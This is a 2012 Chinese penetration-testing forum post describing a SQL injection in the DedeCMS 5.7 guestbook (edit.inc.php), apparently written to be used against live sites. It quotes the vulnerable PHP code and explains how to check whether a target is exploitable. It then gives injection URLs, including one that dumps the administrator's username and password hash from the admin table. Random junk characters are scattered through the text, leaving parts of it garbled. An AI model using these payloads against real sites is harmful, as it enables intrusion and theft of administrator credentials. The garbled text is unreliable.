中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
: Z8 K+ h5 N& Y/ x0 _6 j
, f& Z/ N$ ?3 y
漏洞文件edit.inc.php具体代码:
8 f2 G: d: {3 k% Z9 D( h
1 i% X# x+ l! y9 v, x- ~& h0 b8 ^+ f, A
< ?php
+ K/ w8 e) d2 y6 ^' Y
2 A7 A% M9 M& a3 U9 P4 y" @: c, R. V4 c
if(!defined('DEDEINC')) exit('Request Error!');
2 C5 o+ F+ T0 z/ E* T) {2 p* X
. W' D% j Y1 C! ^
7 @. T# @7 c! Y' a, ^3 J* e
7 F# c5 f) j1 g0 \( b
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
% a* Q: V6 q7 H4 f& T5 R1 `
1 |- b9 O7 B2 | d+ W& P0 z8 x
else $GUEST_BOOK_POS = "guestbook.php";
3 B5 e; l, ]$ {5 T+ v( J* G
" U3 K5 g9 Y& m$ ?
( Q6 c' D! |4 _, q
5 }* h6 e- s: w! |7 a
$id = intval($id);
$ V8 ~+ Y( H2 B8 K, j$ O
* \- @, t: j" x3 Y3 {
if(empty($job)) $job='view';
3 e$ G b F, L3 @8 {! P
: A5 r% f9 ^& d: s
" H8 R; U, s: z) e
! [" e4 P W6 c8 N8 W
if($job=='del' && $g_isadmin)
" g9 k" L# U+ B9 y
. t8 f k9 G+ H$ _% h/ Z. u, N
{
# d* G1 w d6 `9 Z8 x* S5 z, { g! n
7 ~5 w! I- @( R: Y% b
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
. k0 T _- r& B* L
/ y4 p6 V4 }. c5 \- s+ C1 M" s
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
5 q9 @. o+ y) F7 X) \* S
$ U& Y- \$ y# L M$ u- _* V: a
exit();
) {+ p) c" S0 ?, n" y' D
" H, U, e: i M! R
}
7 n/ G4 i6 h: B
* p4 j8 B8 N& x! U* A0 `
else if($job=='check' && $g_isadmin)
- K% Y0 c% e- G
- ]$ ]- L( y, C8 m# u
{
, o6 j' n. C( Z6 i! ]# q
# Q( D& Z- R/ H5 I9 D A( J+ a
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
; C3 n; W) p& {1 ]2 [
: Q/ |/ v) i0 `) S% t' g, I
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
0 g! P% L* r& ? x$ }
: [4 ~1 T4 X& V: s' N6 y
exit();
7 W. A/ p" y; ]' P# Q- z' Y! Z
F, T: ~' c' F
}
7 x' X. M6 ~, w) D/ Y
- g c6 E+ g+ l) U' N8 d5 G1 l
else if($job=='editok')
$ C( T) Q- Y/ c+ ]; v+ J+ a
* P5 c4 l6 r2 l
{
! j4 n" k" ^% j& m6 _
7 n1 v4 I5 e. Z' w. N9 F7 B3 o! w9 }
$remsg = trim($remsg);
- {1 t7 G0 ]% k4 w1 @7 n7 x0 A
" S& X9 b; W) m. _
if($remsg!='')
' T1 N ~- v* R4 a- t4 z2 D
9 o1 F: d$ v% {2 K
{
+ ~) s7 Y' Z3 O c6 j# D
5 Y7 q7 E# G+ v, D H7 c
//管理员回复不过滤HTML By:Errorera blog:errs.cc
) Q( \' t* Y* M4 ?; u$ h0 o3 t
! b, j0 A p! i. S/ e
if($g_isadmin)
) W# b5 M% h2 \ e
; ?$ d' b& n6 J3 r5 G
{
0 O7 c# E1 M' h% t! r7 s3 p
2 q* i: G+ @4 G1 ]
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
% r0 @5 j3 Q6 q3 `/ E$ m" y6 @! b) G
, Y9 \6 l( S/ Z( s- i
//$remsg <br /><font color=red>管理员回复:</font> }
+ V9 |/ h, D9 @3 M- ^" r
2 c$ s+ G0 z, G* p2 K; H0 G w
else
; T$ j* R( l6 _. r- n# P( J* ^
* C+ S G8 F$ }* A
{
- F: q9 i) Y1 P8 ^5 y }
+ H5 J+ ]3 f( k/ n6 X# C
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
H. F% D% a7 v7 Y+ f
! S& c q+ M) o
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
9 |5 m+ ?! B$ {0 a x
5 b# Q- {$ l) S7 I. V
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
' s, a5 q! C0 [* ? v" G) [/ x' f
; p8 R" `/ J4 }6 m0 t4 p4 t
$msg = $oldmsg.$remsg;
' C! D% L9 G& v3 D
7 E' s; c" | y( e8 O- V& t
}
7 l) l) r6 x }; H3 v
9 c0 u0 }6 v( ?
}
5 m. l3 l6 p' M. q2 z( d" X0 u3 J4 ~
; |, r! S j! g+ b. [. |
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
: W1 A- b" v8 c# G7 \, x% \+ m' M
7 g' l) L6 A8 Z X2 ?% d
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
, I( v. e$ S) @! A4 G( V! m$ [0 `
6 ?2 V a) Z9 n1 W3 E$ d
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
w% }0 Z' i- c |( Y& T
% Z$ ^' o! ?$ e) w1 q9 A1 g
exit();
0 x, K0 E$ _+ U& N
* i& j/ ?) q! x% l$ O
}
0 ~3 F' T! C% `+ h p) w* {2 q# j
( T0 H/ n; n) K* m5 ~/ O# V
//home:
www.errs.cc
( _" u6 W: D6 c( f
9 a1 H1 ] H0 F* c, l3 x6 |
if($g_isadmin)
' H/ [/ Z! g: Q7 q
6 m& E/ ]4 `8 s% u
{
2 }* L8 e& Q+ d% o. k- w! Q# `
* ^' C4 p- P" k# Q4 J
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
: G# W2 [3 }3 z( Y' u7 W
+ C ^, V$ `! Z2 f
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
. L0 X0 B* E+ m% w
+ M* g4 Z$ ]; f8 f, [
}
$ M8 v" P- S7 X! Q& C
# ]$ X9 p W& @) `0 X4 |2 }% T
else
. x" X; [5 [0 n; |4 c2 s3 t
2 N3 f' a$ I: }! @. V- s
{
4 c( u/ e$ }+ ~( Z
' h, {# w' Y8 X
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
: [9 r! X6 L+ M
l0 S2 l1 r: [6 b. R
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
9 Q% _% }* m7 t! Q# M
$ t: u/ o# V V6 S9 _3 I; |' ]
} 漏洞成功需要条件:
! ~9 E9 m1 K+ M6 G4 u1 L4 X
1. php magic_quotes_gpc=off
" P4 a' d: h% X4 n7 X8 |
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
( ~7 Q, N8 R+ Q( R
) W6 u- f2 z1 G+ D' y, N# E+ Y
怎么判断是否存在漏洞:
0 @4 s- @, Z# ?! G
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
; J6 K* S: N- ]* e/ ~ \$ D, ~
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
- }& c- K$ e1 {6 ], Q: @+ b1 S
访问:
- W) o+ a- N2 u3 c/ e
# L; e. |2 u, X! l, \. L, z' N
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
; V" s# e* v) R- E- m2 y0 k- Q
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. i( A! u7 _. p
u( K0 Z+ \- }! @" V
/ F% u6 A' m7 W. v2 B$ H
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
0 i# i# c2 c8 l$ r
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
$ @: ~# R1 d8 O& w! d% @9 Z1 W4 e) i
那么再次访问
1 C5 D, A4 f4 j6 Z$ Q
( `5 n% O6 t1 X# v% ^. f
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 B2 x/ ^- k c- j( J, L& o5 y
" d4 [8 y: y$ z6 C; ^4 I
大概利用就是这样,大家有兴趣的多研究下!!
7 ]4 k& u0 h* q% i( d1 u4 A7 w$ C
. {9 S: U: s5 U# j
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
( J$ @% U& j% F. k0 r
/ q# H: F4 n# k$ {" ~0 U* e
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2